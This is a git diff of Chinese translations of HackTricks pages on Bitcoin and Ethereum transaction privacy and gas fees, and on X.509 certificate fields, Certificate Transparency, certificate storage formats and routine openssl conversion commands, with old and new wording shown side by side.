**地址被多次使用对隐私非常有害,因为这将更多的区块链交易与证明它们是由同一实体创建的联系起来**。使用比特币最私密和安全的方式是每个支付给你的人都发送一个全新的地址。收到的币一旦被花费,地址就不应再次使用。此外,在发送比特币时也应要求一个全新的比特币地址。所有好的比特币钱包都有一个用户界面,它会阻止地址重用。 **地址被多次使用对隐私非常有害,因为这会将更多的区块链交易链接在一起,并证明它们是由同一实体创建的**。使用比特币的最私密和安全的方式是向每个支付您的人发送一个全新的地址。收到的硬币花费后,该地址不应再次使用。此外,在发送比特币时应要求一个全新的比特币地址。所有良好的比特币钱包都有一个用户界面,可以阻止地址重复使用。
## 多笔交易 ## 多笔交易
**通过多于一笔链上交易**支付给某人可以大大减少基于金额的隐私攻击的力量例如金额关联和整数金额。例如如果用户想支付5 BTC给某人他们不希望5 BTC的价值容易被搜索到那么他们可以发送两笔交易价值2 BTC和3 BTC加起来总共是5 BTC。 用**多笔链上交易**支付某人可以大大降低基于金额的隐私攻击的能力例如金额相关性和整数金额。例如如果用户想向某人支付5 BTC并且不希望5 BTC的价值很容易被搜索到那么他们可以发送两笔价值分别为2 BTC和3 BTC的交易总共加起来为5 BTC。
## 避免找零 ## 避免找零
避免找零是指精心选择交易输入和输出,以完全不需要找零输出。**没有找零输出对隐私来说是极好的**,因为它打破了找零检测启发式规则 避免找零是精心选择交易输入和输出,根本不需要找零输出。**没有找零输出对隐私非常有利**,因为它打破了找零检测启发式
## 多个找零输出 ## 多个找零输出
如果避免找零不是一个选项,那么**创建多个找零输出可以提高隐私**。这也打破了通常假设只有一个找零输出的找零检测启发式规则。由于这种方法比通常使用更多的区块空间,因此避免找零更可取 如果避免找零不可行,那么**创建多个找零输出可以提高隐私**。这也打破了通常假设只有一个找零输出的找零检测启发式。由于这种方法使用的区块空间比通常多,因此避免找零更可取。
# Monero # Monero
当Monero被开发时寻求解决的迫切需求是**完全匿名**,在很大程度上,它已经填补了这个空白。 当Monero被开发时试图解决的是**完全匿名**的迫切需求,而且在很大程度上填补了这一空白。
# Ethereum # 以太坊
## Gas ## Gas
Gas指的是衡量以太坊网络上执行特定操作所需的**计算** **努力**的单位。Gas指的是成功进行以太坊上的**交易**所需的**费用** Gas指的是衡量以太坊网络上执行特定操作所需的**计算工作量**的单位。Gas是成功进行以太坊**交易**所需的**费用**
Gas价格以**gwei**表示gwei本身是ETH的一个单位 - 每个gwei等于**0.000000001 ETH**10-9 ETH。例如您可以说您的gas费用是1 gwei而不是说您的gas费用是0.000000001 ether。'gwei'这个词本身意味着'giga-wei',它等于**1,000,000,000 wei**。Wei本身是ETH的**最小单位**。 Gas价格以**gwei**表示gwei本身是ETH的一个单位 - 每个gwei等于**0.000000001 ETH**10的-9次方ETH。例如您可以说您的gas费用是1 gwei而不是说您的gas费用是0.000000001 ether。'gwei'这个词本身意味着'吉博-韦',它等于**1,000,000,000 wei**。Wei本身是**ETH的最小单位**。
要计算交易将要花费的gas请阅读此示例: 要计算交易将花费的gas请阅读以下示例:
假设Jordan必须支付Taylor 1 ETH。在交易中gas限制是21,000单位基础费用是100 gwei。Jordan包括了10 gwei的小费。 假设Jordan必须向Taylor支付1 ETH。在交易中gas限制为21,000单位基本费用为100 gwei。Jordan包括10 gwei的小费。
使用上面的公式,我们可以计算出`21,000 * (100 + 10) = 2,310,000 gwei`或0.00231 ETH。 使用上述公式,我们可以计算为`21,000 * (100 + 10) = 2,310,000 gwei`或0.00231 ETH。
当Jordan发送钱时Jordan的账户将扣除1.00231 ETH。Taylor将收到1.0000 ETH。矿工收到0.00021 ETH的小费。基础费用0.0021 ETH被销毁。 当Jordan发送资金时将从Jordan的账户中扣除1.00231 ETH。Taylor将收到1.0000 ETH。矿工将获得0.00021 ETH的小费。基本费用0.0021 ETH被销毁。
此外Jordan还可以为交易设置一个最大费用`maxFeePerGas`)。最大费用和实际费用之间的差额将退还给Jordan即`refund = max fee - (base fee + priority fee)`。Jordan可以设置一个最大金额来支付交易的执行,而不用担心在交易执行时“超出”基础费用而过度支付 此外Jordan还可以为交易设置一个最大费用`maxFeePerGas`)。实际费用与最大费用之间的差额将退还给Jordan即`refund = max fee - (base fee + priority fee)`。Jordan可以设置一个最大支付的交易金额,而不必担心在执行交易时超支“超过”基本费用
由于基础费用是由网络根据区块空间的需求计算的,这最后一个参数maxFeePerGas有助于控制将支付的最大费用。 由于基本费用是根据对区块空间的需求由网络计算的,因此最后一个参数maxFeePerGas有助于控制将支付的最大费用。
## 交易 ## 交易
注意,在**以太坊**网络上,交易是在两个地址之间进行的,这些可以是**用户或智能合约地址**。\ 请注意,在**以太坊**网络中交易是在2个地址之间执行的这些地址可以是**用户或智能合约地址**。\
**智能合约**通过**特殊** **交易**存储在分布式账本中。 **智能合约**通过**特殊**的**交易**存储在分布式分类账中。
改变EVM状态的交易需要向整个网络广播。任何节点都可以广播请求在EVM上执行交易在此之后**矿工**将**执行** **交易**并将结果状态更改传播到网络的其余部分。\ 改变EVM状态的交易需要广播到整个网络。任何节点都可以广播要求在EVM上执行交易发生这种情况后**矿工**将**执行**交易并将结果状态更改传播到网络的其余部分。\
交易需要**费用**,必须被挖掘才能成为有效。 交易需要**费用**,必须被挖掘才能变得有效。
提交的交易包括以下信息: 提交的交易包括以下信息:
* `recipient` 接收地址(如果是外部拥有的账户,交易将转移价值。如果是合约账户,交易将执行合约代码) * `recipient` 接收地址(如果是外部拥有账户,则交易将转移价值。如果是合同账户,则交易将执行合同代码)
* `signature` 送者的标识符。当发送者的私钥签署交易时生成,确认发送者已授权此交易 * `signature` 件人的标识符。当发件人的私钥签署交易并确认发件人已授权此交易时,将生成此标识符
* `value` 从发送者到接收者转移的ETH金额以WEI表示ETH的一个单位 * `value` 从发件人转移到接收方的ETH金额以WEI为单位ETH的一个单位
* `data` 可选字段,包含任意数据 * `data` 包含任意数据的可选字段
* `gasLimit` 交易可以消耗的最大气体单位量。气体单位代表计算步骤 * `gasLimit` 交易可以消耗的最大气体单位量。气体单位代表计算步骤
* `maxPriorityFeePerGas` - 作为小费包含给矿工的最大气体 * `maxPriorityFeePerGas` - 包含为矿工提供的小费的最大气体数
* `maxFeePerGas` - 愿意为交易支付的最大气体量(包括`baseFeePerGas`和`maxPriorityFeePerGas` * `maxFeePerGas` - 为交易愿意支付的最大气体量(包括`baseFeePerGas`和`maxPriorityFeePerGas`
请注意,没有任何字段是用于起始地址的,这是因为可以从签名中推断出这一点 请注意,没有任何字段用于原始地址,这是因为这可以从签名中推断出来
# 参考资料 # 参考资料
@ -286,18 +285,3 @@ Gas价格以**gwei**表示gwei本身是ETH的一个单位 - 每个gwei等于*
* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/) * [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) * [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse) * [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
<details>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
```

View file

@ -2,130 +2,130 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) - 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) - 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) - 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注我。** - **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 - 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)的GitHub仓库提交PR来分享您的黑客技巧。
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建并**自动化工作流程**由世界上**最先进的**社区工具提供支持。\ 使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,并由世界上**最先进的**社区工具提供支持。\
立即获取访问权限: 立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 什么是证书 ## 什么是证书
在密码学中,**公钥证书**,也称为**数字证书**或**身份证书**,是用于证明公钥所有权的电子文档。证书包含关于密钥的信息、其所有者(称为主题)的身份信息,以及已验证证书内容的实体(称为颁发者)的数字签名。如果签名有效,并且检查证书的软件信任颁发者,那么它可以使用该密钥与证书的主题安全通信。 在密码学中,**公钥证书**,也称为**数字证书**或**身份证书**,是用于证明公钥所有权的电子文档。证书包括有关密钥的信息,其所有者的身份信息(称为主体),以及已验证证书内容的实体的数字签名(称为颁发者)。如果签名有效,并且检查证书的软件信任颁发者,则可以使用该密钥与证书的主体安全通信。
在典型的[公钥基础设施](https://en.wikipedia.org/wiki/Public-key_infrastructure)PKI方案中证书颁发者是[证书颁发机构](https://en.wikipedia.org/wiki/Certificate_authority)CA通常是向客户收费以为他们颁发证书的公司。相比之下,在[信任网络](https://en.wikipedia.org/wiki/Web_of_trust)方案中,个人直接签署彼此的密钥,在格式上执行类似于公钥证书的功能。 在典型的[公钥基础设施](https://en.wikipedia.org/wiki/Public-key\_infrastructure)PKI方案中证书颁发者是[证书颁发机构](https://en.wikipedia.org/wiki/Certificate\_authority)CA通常是一家为客户收费以为其颁发证书的公司。相比之下,在[信任网络](https://en.wikipedia.org/wiki/Web\_of\_trust)方案中,个人直接签署彼此的密钥,以一种类似于公钥证书的格式执行功能。
公钥证书最常见格式由[X.509](https://en.wikipedia.org/wiki/X.509)定义。因为X.509非常通用所以格式进一步受到某些用例定义的配置文件的限制例如在RFC 5280中定义的[公钥基础设施X.509](https://en.wikipedia.org/wiki/PKIX)。 公钥证书最常见格式由[X.509](https://en.wikipedia.org/wiki/X.509)定义。由于X.509非常通用,因此格式受到为某些用例定义的配置文件的进一步限制,例如[RFC 5280](https://en.wikipedia.org/wiki/PKIX)中定义的[公钥基础设施X.509](https://en.wikipedia.org/wiki/PKIX)。
## x509常见字段 ## x509常见字段
* **版本号**x509格式的版本。 - **版本号:** x509格式的版本。
* **序列号**用于在CA系统内唯一标识证书。特别是用于跟踪吊销信息。 - **序列号:** 用于在CA系统内唯一标识证书。特别是用于跟踪吊销信息。
* **主题**证书所属的实体:机器、个人或组织。 - **主体:** 证书所属的实体:机器、个人或组织。
* **通用名称**受证书影响的域。可以是1个或多个可以包含通配符。 - **通用名称:** 受证书影响的域。可以是1个或多个并且可以包含通配符。
* **国家C**国家 - **国家C** 国家
* **可分辨名称DN**:完整的主题`C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net` - **显著名称DN** 整个主体`C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
* **地点L**:本地地点 - **地点L** 地点
* **组织O**组织名称 - **组织O** 组织名称
* **组织单位OU**组织的部门(如“人力资源”)。 - **组织单位OU** 组织的部门(如“人力资源”)。
* **州或省ST, S或P**:州或省的列表 - **州或省STS或P** 州或省名称列表
* **颁发者**验证信息并签署证书的实体。 - **颁发者:** 验证信息并签署证书的实体。
* **通用名称CN**证书颁发机构的名称 - **通用名称CN** 证书颁发机构的名称
* **国家C**证书颁发机构的国家 - **国家C** 证书颁发机构的国家
* **可分辨名称DN**:证书颁发机构的可分辨名称 - **显著名称DN** 证书颁发机构的显著名称
* **地点L**:可以找到组织的本地地点。 - **地点L** 组织所在地的地点。
* **组织O**组织名称 - **组织O** 组织名称
* **组织单位OU**组织的部门(如“人力资源”)。 - **组织单位OU** 组织的部门(如“人力资源”)。
* **生效前**:证书有效的最早时间和日期。通常设置在证书颁发时刻的几小时或几天之前,以避免[时钟偏差](https://en.wikipedia.org/wiki/Clock_skew#On_a_network)问题。 - **生效日期:** 证书有效的最早时间和日期。通常设置为证书签发前几小时或几天,以避免[时钟偏移](https://en.wikipedia.org/wiki/Clock\_skew#On\_a\_network)问题。
* **生效后**证书不再有效的时间和日期。 - **过期日期:** 证书不再有效的时间和日期。
* **公钥**:属于证书主题的公钥。(这是主要部分之一,因为这是CA签名的 - **公钥:** 属于证书主体的公钥。这是主要部分之一因为这是CA签名的内容
* **公钥算法**用于生成公钥的算法。如RSA。 - **公钥算法:** 用于生成公钥的算法。如RSA。
* **公钥曲线**椭圆曲线公钥算法使用的曲线如果适用。如nistp521。 - **公钥曲线:** 椭圆曲线公钥算法使用的曲线如果适用。如nistp521。
* **公钥指数**:用于派生公钥的指数如果适用。如65537。 - **公钥指数:** 用于生成公钥的指数如果适用。如65537。
* **公钥大小**:公钥空间的位大小。如2048。 - **公钥大小:** 以位为单位的公钥空间大小。如2048。
* **签名算法**用于签署公钥证书的算法。 - **签名算法:** 用于签署公钥证书的算法。
* **签名**:由颁发者的私钥对证书正文的签名。 - **签名:** 颁发者的私钥对证书正文的签名。
* **x509v3扩展** - **x509v3扩展**
* **密钥用途**证书公钥的有效加密用途。常见值包括数字签名验证、密钥加密和证书签名。 - **密钥用途:** 证书公钥的有效加密用途。常见值包括数字签名验证、密钥加密和证书签名。
* 在Web证书中这将显示为_X509v3扩展_`数字签名` - 在Web证书中这将显示为_X509v3扩展_并将具有值`数字签名`
* **扩展密钥用途**证书可能使用的应用程序。常见值包括TLS服务器认证、电子邮件保护和代码签名。 - **扩展密钥用途:** 证书可用于的应用程序。常见值包括TLS服务器身份验证、电子邮件保护和代码签名。
* 在Web证书中这将显示为_X509v3扩展_值为`TLS Web服务器认证` - 在Web证书中这将显示为_X509v3扩展_并将具有值`TLS Web服务器身份验证`
* **主题备用名称**允许用户为单个SSL**证书**指定额外的主机**名称**。使用SAN扩展是SSL证书的标准做法它正在取代通用**名称**的使用。 - **主体替代名称:** 允许用户为单个SSL **证书**指定其他主机**名称**。SAN扩展的使用是SSL证书的标准做法它正在取代常见**名称**的使用。
* **基本约束**此扩展描述证书是CA证书还是终端实体证书。CA证书是签署其他证书的证书终端实体证书是例如在网页中使用的证书链的最后部分)。 - **基本约束:** 此扩展描述证书是CA证书还是终端实体证书。CA证书是签署其他证书的实体终端实体证书是用于网页的证书例如链的最后一部分)。
* **主题密钥标识符**SKI此扩展声明证书中公钥的唯一**标识符**。所有CA证书都必须有此扩展。CA将自己的SKI传播到颁发的证书上的颁发者**密钥标识符**AKI扩展。它是主题公钥的哈希 - **主体密钥标识符**SKI此扩展声明证书中公钥的唯一**标识符**。所有CA证书都需要此扩展。CA将其自己的SKI传播到已签发证书的颁发者**密钥标识符**AKI扩展中。它是主体公钥的哈希值
* **颁发者密钥标识符**:它包含从颁发者证书中的公钥派生的密钥标识符。它是颁发者公钥的哈希。 - **颁发者密钥标识符**:它包含从颁发者证书中的公钥派生的密钥标识符。它是颁发者公钥的哈希
* **颁发者信息访问**AIA此扩展最多包含两种信息: - **颁发者信息访问**AIA此扩展包含最多两种类型的信息:
* 有关**如何获取此证书的颁发者**CA颁发者访问方法的信息 - 关于**如何获取此证书的颁发者**的信息CA颁发者访问方法
* 可以检查此证书吊销情况的**OCSP响应者的地址**OCSP访问方法 - 可以检查此证书吊销的OCSP响应器地址OCSP访问方法
* **CRL分发点**:此扩展标识了可以检查此证书吊销情况的CRL的位置。处理证书的应用程序可以从此扩展获取CRL的位置下载CRL然后检查此证书的吊销情况 - **CRL分发点**:此扩展标识可以检查此证书吊销的CRL的位置。处理证书的应用程序可以从此扩展获取CRL的位置下载CRL然后检查此证书的吊销。
* **CT预证书SCTs**:关于证书的证书透明度日志 - **CT预证书SCTs**:关于证书的证书透明度日志
### OCSP和CRL分发点之间的区别 ### OCSP和CRL分发点的区别
**OCSP**RFC 2560是一个标准协议由**OCSP客户端和OCSP响应**组成。该协议**确定给定数字公钥证书的吊销状态****无需**下载**整个CRL**。\ **OCSP**RFC 2560是一个标准协议由**OCSP客户端和OCSP响应**组成。该协议**确定给定数字公钥证书的吊销状态****无需下载**整个CRL。\
**CRL**是检查证书有效性的**传统方法**。**CRL提供了已被吊销或不再有效的证书序列号的列表**。CRL让验证者在验证证书时检查所呈现证书的吊销状态。CRL的条目限制为512个。\ **CRL**是检查证书有效性的传统方法。**CRL提供已吊销或不再有效的证书序列号列表**。CRL允许验证者在验证证书时检查所呈现证书的吊销状态。CRL限制为512个条目。\
[这里](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm)获取 来源:[这里](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)。
### 什么是证书透明度 ### 什么是证书透明度
证书透明度旨在通过**使SSL证书的颁发和存在对域名所有者、CA和域名用户开放以接受审查**来解决基于证书的威胁。具体来说,证书透明度有三个主要目标: 证书透明度旨在通过使SSL证书的颁发和存在对域所有者、CA和域用户公开审查来解决基于证书的威胁。具体而言,证书透明度有三个主要目标:
* 使CA**不可能或至少非常困难为域名颁发SSL证书而不让该域名的所有者看到证书** - 使CA**无法为域颁发SSL证书**,而不让该域的所有者看到该证书,或者至少非常困难
* 提供一个**开放的审计和监控系统让任何域名所有者或CA确定是否错误地或恶意地**颁发了证书 - 提供一个**开放的审计和监控系统**让任何域所有者或CA确定证书是否被错误或恶意颁发
* **尽可能保护用户**不受错误或恶意颁发的证书的欺骗。 - **尽可能**保护用户免受被错误或恶意颁发的证书欺骗。
#### **证书日志** #### **证书日志**
证书日志是简单的网络服务,维护**加密保证的、公开可审计的、仅附加记录的证书**。**任何人都可以向日志提交证书**,尽管证书颁发机构可能是最主要的提交者。同样,任何人都可以查询日志以获取加密证明,该证明可用于验证日志是否正常运行或验证特定证书是否已记录。日志服务器的数量不必很多(比如,全球不到一千个每个服务器可以由CA、ISP或任何其他感兴趣的方独立运营。 证书日志是简单的网络服务,用于维护**具有密码保证、公开可审计、仅追加记录的证书**。**任何人都可以向日志提交证书**,尽管证书颁发机构可能是最主要的提交者。同样,任何人都可以查询日志以获取加密证明,该证明可用于验证日志是否正常运行或验证特定证书是否已记录。日志服务器的数量不必很大(例如,全球范围内远远少于一千个每个服务器可以由CA、ISP或任何其他感兴趣的方运营。
#### 查询 #### 查询
您可以在[https://crt.sh/](https://crt.sh)查询任何域的证书透明度日志 您可以查询任何域的证书透明度日志在[https://crt.sh/](https://crt.sh)。
## 格式 ## 格式
可以使用不同的格式来存储证书。 有不同的格式可用于存储证书。
#### **PEM格式** #### **PEM格式**
* 它是用于证书的最常见格式 - 这是用于证书的最常见格式
* 大多数服务器例如Apache期望证书和私钥在单独的文件中 - 大多数服务器例如Apache期望证书和私钥在单独的文件中\
\- 通常它们是Base64编码的ASCII文件 - 通常它们是Base64编码的ASCII文件\
\- PEM证书使用的扩展名有.cer、.crt、.pem、.key文件 - 用于PEM证书的扩展名为.cer、.crt、.pem、.key文件\
\- Apache和类似服务器使用PEM格式证书 - Apache和类似服务器使用PEM格式证书
#### **DER格式** #### **DER格式**
* DER格式是证书的二进制形式 - DER格式是证书的二进制形式
* 所有类型的证书和私钥都可以编码为DER格式 - 所有类型的证书和私钥都可以以DER格式编码
* DER格式的证书不包含“BEGIN CERTIFICATE/END CERTIFICATE”语句 - DER格式的证书不包含“BEGIN CERTIFICATE/END CERTIFICATE”语句
* DER格式的证书最常使用.cer和'.der'扩展名 - DER格式的证书通常使用“.cer”和“.der”扩展名
* DER通常用于Java平台 - DER通常用于Java平台
#### **P7B/PKCS#7格式** #### **P7B/PKCS#7格式**
* PKCS#7或P7B格式存储在Base64 ASCII格式中文件扩展名为.p7b或.p7c - PKCS#7或P7B格式以Base64 ASCII格式存储并具有.p7b或.p7c文件扩展名
* P7B文件只包含证书和链证书中间CA不包含私钥 - P7B文件仅包含证书和链证书中间CA不包含私钥
* 支持P7B文件的最常见平台是Microsoft Windows和Java Tomcat - 支持P7B文件的最常见平台是Microsoft Windows和Java Tomcat
#### **PFX/P12/PKCS#12格式** #### **PFX/P12/PKCS#12格式**
* PKCS#12或PFX/P12格式是一种二进制格式用于存储服务器证书、中间证书和私钥在一个可加密的文件中 - PKCS#12或PFX/P12格式是一种用于在一个可加密文件中存储服务器证书、中间证书和私钥的二进制格式
* 这些文件通常具有.pfx和.p12等扩展名 - 这些文件通常具有.pfx和.p12等扩展名
* 它们通常用于Windows机器上导入和导出证书和私钥 - 它们通常用于Windows机器导入和导出证书和私钥
### 格式转换 ### 格式转换
@ -133,17 +133,17 @@
``` ```
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
``` ```
#### **将 PEM 转换为 DER** #### **将PEM转换为DER**
``` ```
openssl x509 -outform der -in certificatename.pem -out certificatename.der openssl x509 -outform der -in certificatename.pem -out certificatename.der
``` ```
**将DER转换为PEM** **将 DER 转换为 PEM**
``` ```
openssl x509 -inform der -in certificatename.der -out certificatename.pem openssl x509 -inform der -in certificatename.der -out certificatename.pem
``` ```
**将 PEM 转换为 P7B** **将PEM转换为P7B**
**注意:** PKCS#7 或 P7B 格式以 Base64 ASCII 格式存储,并且文件扩展名为 .p7b 或 .p7c。P7B 文件仅包含证书和链证书(中间 CA不包含私钥。最常见支持 P7B 文件的平台是 Microsoft Windows 和 Java Tomcat。 **注意:** PKCS#7或P7B格式以Base64 ASCII格式存储并具有.p7b或.p7c文件扩展名。 P7B文件仅包含证书和链证书中间CA而不包含私钥。 支持P7B文件的最常见平台是Microsoft Windows和Java Tomcat。
``` ```
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
``` ```
@ -153,50 +153,50 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**将 pfx 转换为 PEM** **将 pfx 转换为 PEM**
**注意:** PKCS#12 或 PFX 格式是一种二进制格式,用于在一个可加密文件中存储服务器证书、中间证书和私钥。PFX 文件通常具有 .pfx 和 .p12 等扩展名。PFX 文件通常用于 Windows 机器上导入和导出证书及私钥。 **注意:** PKCS#12 或 PFX 格式是一种用于存储服务器证书、中间证书和私钥的二进制格式,存储在一个可加密文件中。PFX 文件通常具有 .pfx 和 .p12 等扩展名。PFX 文件通常用于在 Windows 计算机上导入和导出证书和私钥。
``` ```
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
**转换 PFX 至 PKCS#8**\ **将PFX转换为PKCS#8**\
**注意:** 这需要2命令 **注意:** 这需要2命令
**1- 将 PFX 转换为 PEM** **1- 将PFX转换为PEM**
``` ```
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
**2- 将 PEM 转换为 PKCS8** **2- 将PEM转换为PKCS8**
``` ```
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
**将 P7B 转换为 PFX**\ **将 P7B 转换为 PFX**\
**注意:** 这需要2个命令 **注意:** 这需要 2 条命令
1- **将 P7B 转换为 CER** 1- **将 P7B 转换为 CER**
``` ```
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
**2- 将 CER 和私钥转换为 PFX** **2- 将CER证书和私钥转换为PFX格式**
``` ```
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进的**社区工具提供支持。\ 使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可轻松构建并通过世界上**最先进**的社区工具**自动化工作流程**。\
立即获取访问权限: 立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
其他支持HackTricks的方式 支持HackTricks的其他方式:
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,81 +1,81 @@
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
